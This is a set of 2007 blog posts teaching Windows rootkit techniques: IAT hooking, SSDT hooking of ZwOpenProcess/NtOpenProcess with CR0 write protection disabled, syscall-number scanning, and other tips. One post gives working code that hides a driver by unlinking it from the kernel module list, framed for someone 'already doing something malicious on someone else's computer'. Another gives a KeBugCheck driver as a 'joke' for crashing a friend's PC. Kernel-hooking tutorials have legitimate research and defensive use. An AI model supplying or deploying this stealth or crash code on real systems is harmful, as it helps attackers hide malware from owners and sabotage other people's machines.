IAT hooking

August 21, 2007

So far I only talked about kernel hooks, but you can do some hooking in userland also. Today I’m going to show you the simpler of the two userland hooking processes is called Import Address Table hooking (IAT).

When an application wants to use a function that is located in a DLL (kernel32,user32…) For example MessageBoxA, the application must get the address of the function. We do this through an IAT.

So what we’re going to do is, create a DLL with our fake function, load it into the target and when the target application calls the original function, our function is going to get executed instead of the original.

Free Image Hosting at www.ImageShack.us

In my example, we are going to hook MessageBoxA. MessageBoxA is located in user32.dll, so fire up your dissembler (In my case IDA) And find the full prototype. In our case it’s going to be:

int __stdcall MessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType)

It’s very important that you have the exact same prototype as the original one!

Now go create an application that calls MessageBox, and dissemble it. I’m going to use OllyDbg. The call to MessageBoxA is going to look this way: “CALL DWORD PTR DS:[<&USER32.MessageBoxA>] ” Now look in the window before the Hex View, you are going to see something like: “DS:[0042428C]=7E45058A (USER32.MessageBoxA)” 0042428C is what we need. It’s the pointer to the function.

Now it’s time to create our DLL. First lets make our fake function.

int __stdcall NewMessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType)
{
char real[200];
sprintf(real,”Inside hooked MessageBoxA.\n\nText=%s\nTitle=%s”, lpText, lpCaption);
MessageBox(NULL,real,”Real values”,MB_OK);

return MessageBoxA(hWnd,”Fake much”,”Fake”,uType);

}

It’s going to show us the real values, and then we are going to return what we want! Also, you may want to make the function fail. To do so, get the value when the function doesn’t succeed, use MSDN for that.

Now we want to get MessageBoxA address, to do so, we are going to use GetModuleHandle/GetProcAddress. Like this:

OrigAddress = (int)GetProcAddress(GetModuleHandle(“user32.dll”), “MessageBoxA”);

Now we must point the original function to our fake one, so when the real one is called, our fake one is getting executed. We do this this way:

OurAddress = (int)NewMessageBoxA ;

This is pretty much it. It wasn’t that hard was it? Of course this is not the full code, if you want the source code, you can download it at the end of this post.

This method is not perfect. I’m going to quote a passage from the book “Rootkits:Subverting the windows kenel” (The picture came from there to.)

Here we go: “Some applications do late-demand binding. With late-demand binding, function addresses are not resolved until the function is called. This reduces the amount of memory the application will use. These functions may not have addresses in the IAT when your rootkit attempts to hook them. Also, if the application uses LoadLibrary and GetProcAddress to find the addresses of functions, your IAT hook will not work.”

If you find any errors or bugs, please leave a comment. Thanks for visiting and reading.

DOWNLOAD


Getting the system calls by yourself

August 15, 2007

Of course you can get them from a website such as this one.

You can find them by disassembling the module where the function is located.

Call Number

Notice 30 is the call number of NtCreateProcessEx. It’s moved into EAX

But you can code a program that will do that for you!

Let’s do that. In my example, only the functions that are exported by “ntdll.dll” are going to work. But that can be changed really easily…

mov eax, 30h ; NtCreateProcessEx
mov edx, 7FFE0300h
call dword ptr [edx]
retn 24h

Since we know that the call number is loaded into EAX, we have to check for a “mov eax”. “mov eax” = 0xB8

if ( *Function != 0xB8 )
{
return FALSE;
}

Then we want to check for “mov edx”, its 0xBA.

if ( *(Function + 5) != 0xBA )
{
return FALSE;
}

Now you can do additional checks, but this is enough. If you’re wondering why we did function + 5, thats because ZwCreateProcessEx is located at 7C90D769 and the mov edx instruction is on 7C90D76E. So we did function address + 5.

Well the rest is simple, and doesn’t require any explanation. You can download the source code here. If you find any errors or bugs, please leave a comment. Thanks for visiting and reading.

Later.


Using different parameters for hooking

August 12, 2007

Sometimes when you want to hook a function, you don’t know what parameter to use. For example XxOpenProcess (I know I always use the same API, but thats because its an easy one and useful)

NtOpenProcess(

OUT PHANDLE ProcessHandle,
IN ACCESS_MASK AccessMask,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId );

In my other article we were using “ClientID”, but you may also use other parameters like the first one “ProcessHandle”

The goal of this article is not to deny process termination, but to stop memory editors attaching* to our process.

Before we start, I’m going to show you 2 “custom” made functions.

ULONG gProcessNameOffset;

ULONG GetProcessNameOffset()
{

PEPROCESS curproc;
int i;

curproc = PsGetCurrentProcess();
// This will fail if the EPROCESS grows larger
// than a page size.
for( i = 0; i < 3*PAGE_SIZE; i++ )
{
if( !strncmp( “System”, (PCHAR)curproc + i, strlen(“System”) ))
{
gProcessNameOffset = i;
}
}
return 0;
}

GetProcessNameOffset returns the offset within the EPROCESS structure of the process name

BOOL GetProcessName( PCHAR theName )
{
PEPROCESS curproc;
char *nameptr;

if( gProcessNameOffset )
{
curproc = PsGetCurrentProcess();
nameptr = (PCHAR) curproc + gProcessNameOffset;
strncpy( theName, nameptr, NT_PROCNAMELEN );
theName[NT_PROCNAMELEN] = 0; /* NULL at end */
return TRUE;
}
return FALSE;
}

GetProcessName copy the process name into the specified buffer. This is very useful, you can use it like this:

CHAR ProcessName[PROCNAMELEN];
DbgPrint(“ZwOpenProcess() called from %s\n”, ProcessName);

Okay 1 more thing before we start.

// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN 20
// Maximum length of NT process name
#define NT_PROCNAMELEN 16

Okay, let’s start! First lets make our function prototype. The parameters must be the same as the original function.

NTSTATUS NewZwOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL
) {

Then let’s add this (OldZwOpenProcess points to the original function)

NTSTATUS ntStatus;
NTSTATUS ntStatus2;
CHAR CallerProcessName[PROCNAMELEN];

GetProcessName(CallerProcessName);

ntStatus = ((ZWOPENPROCESS)(OldZwOpenProcess)) ( //Original ZwOpenProcess()
ProcessHandle,
DesiredAccess,
ObjectAttributes,
ClientId OPTIONAL);

if( NT_SUCCESS(ntStatus))

{

Now we are going to use ObReferenceObjectByHandle to get the EPROCESS from the handle.

ntStatus = ObReferenceObjectByHandle(
*ProcessHandle,
PROCESS_ALL_ACCESS,
NULL,
KernelMode,
&Process, //Will hold the EPROCESS
NULL);

if(NT_SUCCESS(ntStatus))
{

Now that we got the EPROCESS address (“Process” is holding it), we want to get the name. We do that like this (If you noticed, it almost does the same thing as GetProcessName):

//DbgPrint(“EPROCESS: 0x%08lX\n”, Process);
nameptr = (PCHAR)Process + gProcessNameOffset;
strncpy(Target, nameptr, NT_PROCNAMELEN);
Target[NT_PROCNAMELEN] = 0; /* NULL at end */
//DbgPrint(“Targeted Process %s”,Target);

Now we do some comparing (ProtectedProcess, is a buffer holding the name of the protected process) We check if the targeted process is our process, if it is, we close the handle and make it return STATUS_INVALID_HANDLE

if(!strncmp(Target,ProtectedProcess,NT_PROCNAMELEN)==0)
{
ZwClose(ProcessHandle); //Close Handle
DbgPrint(“OpenProcess called by %s\n”,CallerProcessName);
DbgPrint(“Targeting %s\n”,Target);
DbgPrint(“Returning STATUS_INVALID_HANDLE”);
ntStatus = STATUS_INVALID_HANDLE; //Return invalid handle
ProcessHandle = 0; //Handle = 0;
}

The full prototype code:

NTSTATUS NewZwOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL
)
{

NTSTATUS ntStatus;
NTSTATUS ntStatus2;
CHAR Target[PROCNAMELEN];
CHAR CallerProcessName[PROCNAMELEN];
PEPROCESS EProcess;
char *nameptr;

GetProcessName(CallerProcessName);

ntStatus = ((ZWOPENPROCESS)(OldZwOpenProcess)) ( //Original ZwOpenProcess()
ProcessHandle,
DesiredAccess,
ObjectAttributes,
ClientId OPTIONAL);

if( NT_SUCCESS(ntStatus))

{
ntStatus = ObReferenceObjectByHandle(
*ProcessHandle,
PROCESS_ALL_ACCESS,
NULL,
KernelMode,
&EProcess, //Will hold the EPROCESS
NULL);

if(NT_SUCCESS(ntStatus))
{
//DbgPrint(”EPROCESS: 0x%08lX\n”, EProcess);
nameptr = (PCHAR)EProcess + gProcessNameOffset;
strncpy(Target, nameptr, NT_PROCNAMELEN);
Target[NT_PROCNAMELEN] = 0; /* NULL at end */
//DbgPrint(“Targeted Process %s”,Target);

if(!strncmp(Target,ProtectedProcess,NT_PROCNAMELEN)==0)
{
ZwClose(ProcessHandle); //Close Handle
DbgPrint(“OpenProcess called by %s\n”,CallerProcessName);
DbgPrint(“Targeting %s\n”,Target);
DbgPrint(“Returning STATUS_INVALID_HANDLE”);
ntStatus = STATUS_INVALID_HANDLE; //Return invalid handle
ProcessHandle = 0; //Handle = 0;
}
}
}
return ntStatus; //STATUS_INVALID_HANDLE
}

protected

Well thats it for this post, if you like that kind of stuff, you may want to visit Dual’s blog. He has some interesting advanced articles.

Now you may be asking why we did all of this when we could of used “ClientID” parameter. Thats because not every function has multiple useful parameters.

For example XxReadVirtualMemory As you see, only the first parameter is really useful to us, therefor you are going to use the method described in this article. Thanks for reading and visiting, if you find any errors or bugs, leave a comment =)

*Memory editors such as CheatEngine, can still open your process, since it uses it’s own routine of OpenProcess (Must be enabled in options -> Extra)


Inactivity

August 11, 2007

Thanks for visiting guys, this week I only wrote 1 article, I’m sorry for that, I was busy. I got some ideas about what to write but if you got an interesting idea, drop me a comment =) I will be updating the blog this week, so check it out.

Also, visit the blogs that you see on the right side of the page, they got some interesting going on.


Hide me!

August 4, 2007

If you are already doing something malicious on someone else’s computer, you may as well hide your precious driver. It’s not hard at all, if you already hid processes using the DKOM method (Direct Kernel Object Manipulation) this is going to look familiar to you because we are going to change the FLINK and BLINK pointers of its neighbors.

We are going to use this undocumented structure:

typedef struct _MODULE_ENTRY {

LIST_ENTRY module_list_entry;

DWORD unknown1[4];

DWORD base;

DWORD driver_start;

DWORD unknown2;

UNICODE_STRING driver_Path;

UNICODE_STRING driver_Name;

} MODULE_ENTRY, *PMODULE_ENTRY;

The following MODULE_ENTRY object is used by the kernel to keep track of the drivers in memory. Notice that the first member in the structure is a LIST_ENTRY.

We are going to modify them to make our driver disappear from the linked list. The fallowing code does that.

PMODULE_ENTRY pm_current;
pm_current = *((PMODULE_ENTRY*)((DWORD)DriverObject + 0x14));

*((PDWORD)pm_current->module_list_entry.Blink) = (DWORD) pm_current->module_list_entry.Flink;
pm_current->module_list_entry.Flink->Blink = pm_current->module_list_entry.Blink;

We changed the Flink and Blink pointers to the next and previous drivers.

Free Image Hosting at www.ImageShack.us

We hid our driver, but you can use the same method to hide other drivers as well. Fu rootkit is a good example of doing so. You can download it from here

For the the source code of this article, click here.

P.S The image is from the book called Rootkit: Subverting the Windows Kernel.


CRC32: File checksum

August 2, 2007

I recently needed to check the integrity of some files, but I didn’t know what hash to use nor how to generate one! I choose CRC32 for no particular reasons, and it wasn’t as hard as I imagined to generate the hash!

Anyways, the source code is easy to understand and I tried to comment it as much as I could, so no explanation here. You can download the source code from here.


Causing BSOD’s

July 31, 2007

I’m bored! So I’m posting this… If you want to play a “joke” on your friend and you are tired of those things that open and close the CD drive, and you want something more hardcore? I got the thing for you (lol) Actually all you need to do is call KeBugCheck and thats all.

#include “ntddk.h”
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
KeBugCheck(0);
}

If you tried it, and didn’t get a BSOD, only a crash, you have to change some settings in you computer. Goto Control Panel -> System -> Click the Advanced tab -> Click the last Settings -> Uncheck Automatically restart.

Free Image Hosting at www.ImageShack.us

If you want, you can also take a look at KeBugCheckEx


Hooking Nt* functions

July 29, 2007

Not a long time ago I posted a article about how to hook ZwOpenProcess to protect your own process, but you may want to hook a Nt* function instead. Why? Well as you may know Zw* functions are wrappers for Nt* function , calling the Nt* API through the system service dispatcher. You may want to read this article to better understand the Native API. So like I was saying, there’s no way of calling an API without a Nt* API being executed.

In this example we are going to hook NtOpenProcess. The concept between hooking Zw* and Nt* API’s is pretty much the same, but while hooking Nt* API’s you must do something else. You need to use system call number. There’s also this macro:

#define SYSTEMSERVICE(_function)KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]

What is does is it takes a exported Zw* API and gets the Nt* equivalent. The only thing is that there’s a lot of API’s that are NOT exported. So thats why we are going to use system call numbers.

This is the site that shows you a full system call table. As you may of noticed, they change from OS to OS. Thats why we must determinate what operation system is running on the computer. I’m going to show you 2 way: PsGetVersion and NtBuildNumber.

Using PsGetVersion

ULONG majorVersion;
ULONG minorVersion;

DRIVER_DATA* driverData;

// Get the operating system version
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

// Major = 4: Windows NT 4.0, Windows Me, Windows 98 or Windows 95
// Major = 5: Windows Server 2003, Windows XP or Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 or Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003

if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint(“Running on Windows XP”);
CallNumber = 0x07A;
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint(“Running on Windows 2000”);
CallNumber = 0x06A;
}
else
{
DbgPrint(“Running on unknown system”);
}

Using NtBuildNumber

switch (*NtBuildNumber)
{
case 2195: //Microsoft Windows 2000
DbgPrint(“Microsoft Windows 2000 detected”);
CallNumber = 0x06A;
break;

case 2600: //Microsoft Windows XP
DbgPrint(“Microsoft Windows XP detected”);
CallNumber = 0x07A;
break;

default:
DbgPrint(“Unsupported OS detected”);
//As far as I know, this will never happen
return STATUS_NOT_IMPLEMENTED;
break;
}

Now that we determined what system call number to use, we must use a macro that will let use easily access the call number in the table:

#define SYSTEMSERVICE(_callnumber) KeServiceDescriptorTable->ServiceTable[_callnumber]

We are going to use this macro this way:

OldNtOpenProcess = SYSTEMSERVICE(CallNumber);

SYSTEMSERVICE(CallNumber) = NewNtOpenProcess;

You get the point.

I’m not going to explain how protecting our process work, just go to my previous post about hooking ZwOpenProcess, it’s going to be the same.

Heres a code snippet, the full source code can be downloaded at the end of the article.

switch (*NtBuildNumber)
{
case 2195: //Microsoft Windows 2000
DbgPrint(“Microsoft Windows 2000 detected”);
CallNumber = 0x06A;//NtOpenProcess Call number in Win2000
break;

case 2600: //Microsoft Windows XP
DbgPrint(“Microsoft Windows XP detected”);
CallNumber = 0x07A;//NtOpenProcess Call number in WIN XP
break;

default:
DbgPrint(“Unsupported OS detected”);
//As far as I know, this will never happen
return STATUS_NOT_IMPLEMENTED;
break;
}

OldNtOpenProcess = SYSTEMSERVICE(CallNumber);//Our NtOpenProcess

__asm

{
push eax
mov eax, CR0
and eax, 0FFFEFFFFh
mov CR0, eax
pop eax

}

SYSTEMSERVICE(CallNumber) = NewNtOpenProcess; //We change the real NtOpenProcess to the fake, the hook is activated.
__asm

{
push eax
mov eax, CR0
or eax, NOT 0FFFEFFFFh
mov CR0, eax
pop eax
}

Notice that I used the CR0 to disable the memory protection, but you can also use the MDL method. I used that in my other article, just wanted to show another way of doing it.

Important!!! My example is not complete, it’s kinda of a “proof of concept” I hardcoded the PID but it shouldn’t be hard to pass the PID from the userland, even get the PID from the kernel if you want. The source code can be downloaded from the link below. If you find any errors or bug, please let me know.

Later.

Download


Executable size

July 29, 2007

Ever downloaded a crackme or a program and realized how huge it was and it was only doing something really simple? I did and unfortunately I even released my own programs and they were full of bloat. In this article I’m going to show you 3 steps that I always do now when I build a final version of my programs.

I’m using MVC++ 6 as my complier, but the tricks that I am going to do can be done in other compliers as well. Okay let’s start of with a simple “Hello World” program.

#include “stdio.h”
int main(void)
{
printf(“hello, world\n”);
return 0;
}

Without touching my complier settings, the executable size is: 152kb Thats a lot for a simple Hello World program. And if you open it in an disassembler, you will see that there’s so much bloat.

1st step
You need to do a “Release build” instead of a “Debug build” This will reduce the size dramatically. You can do that by going to Build -> Set Active Configuration and click Win32 Release.

Free Image Hosting at www.ImageShack.us

Okay now let’s build it again! And a new folder named “Release” has appeared and the executable is now 28kb, we reduced the size 5 and half times!

Step 2
Now we are going to modify settings. Goto Project -> Settings -> Click the “Link” tab. Now look at the edit box where it says “Object/library modules”

Free Image Hosting at www.ImageShack.us

Okay now remove everything from there and type “MSVCRT.LIB kernel32.lib user32.lib” and build. The executable size is now: 16kb. This is very important! only using those 3 libraries will cause some of your API not to work. For example, RegOpenKeyEx Why? Because it needs “Advapi32.lib” How do you know? Go to the API MSDN page, scroll all the way down till you see the “Requirements” So now all you need to do is add the required library.

Step 3
This is really not hard, goto Project -> Settings -> click the link tab and now see that big edit box? Add this line “/ALIGN:4096” there. Build, and the executable size is now 2.50kb! and we started at 152kb.

Free Image Hosting at www.ImageShack.us

You can learn about this linker option at MSDN: /ALIGN

Now you executable is small and not full with bloat. You can open it in an assembler and you will see its more cleaner and sleek. I gave you my 3 steps that I always do, however a simple google search will show you more in depth tricks to reduce the size to 1kb and less! Thanks for reading. And I’m almost done writing a article about hooking Nt* functions, will publish later today.

Later.


Protecting by hooking ZwOpenProcess

July 27, 2007

Today I’m going to explain to you how you could protect your process by hooking ZwOpenProcess. It may be easy, but damn it took me sometime to figure it out! I would assume that you guys know the basics of kernel driver development and know the basics of hooking. If not, go get yourself Rootkits: Subverting the Windows Kernel or Professional Rootkits But of course if you don’t want to spend money on them, search the internet =) Both books helped me a lot, also you may want to take a look to the Rootkit website Rootkit

ZwOpenProcess opens a handle to a desired process. With a handle you can do many things, but in this post we are going to talk about how to deny access when someone is trying to terminate your protected process. You have probably encounter such a hook since almost every anti-virus/firewall uses them to prevent malicious software from terminating them.

Let’s take a look at ZwOpenProcess:

ZwOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);

What we want here is ClientsId since that’s a pointer to the Client ID, we could use it to check if a application is trying to get a handle to our protected process PID. Here’s a code snippet:

NTSTATUS NewZwOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
HANDLE ProcessId;

__try /*we do this to avoid crashes*/
{

ProcessId = ClientId->UniqueProcess;

}
__except(EXCEPTION_EXECUTE_HANDLER) /*we do this to avoid crashes*/
{
/*DbgPrint(“Exception”)*/
return STATUS_INVALID_PARAMETER;

}

if (ProcessId == (HANDLE)2816) /*Check if the PID matches our protected process PID*/
{

/*DbgPrint(“Access Denied!”);*/
return STATUS_ACCESS_DENIED; /*What we want, access denied.*/
}

else /*Important, if you don’t do this your system will and and crash/BSOD*/
return OldZwOpenProcess(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId);
}

Here’s the result:

Free Image Hosting at www.ImageShack.us

In my example I use “firefox.exe”, as you can see I got Access Denied and also notice that Process Explorer was unable to list the loaded modules in our process.

Now try to kill your protected process, it most probably failed. Why most probably? Because your process is not invisible. There’s some tools that can still terminate your process. Also, a user can simply check if ZwOpenProcess is hooked in the SDT, and recover it, therefor your hook is dead.

Important!!! My example is not complete, it’s kinda of a “proof of concept” I hardcoded the PID but it shouldn’t be hard to pass the PID from the userland, even get the PID from the kernel if you want. The source code can be downloaded from the link below. If you find any errors or bug, please let me know.

Later.

Download

EDIT: Well I have received a e-mail asking how to hook Nt* functions. The concept is still the same, but there’s some changes, I may write another article on that if you guys want.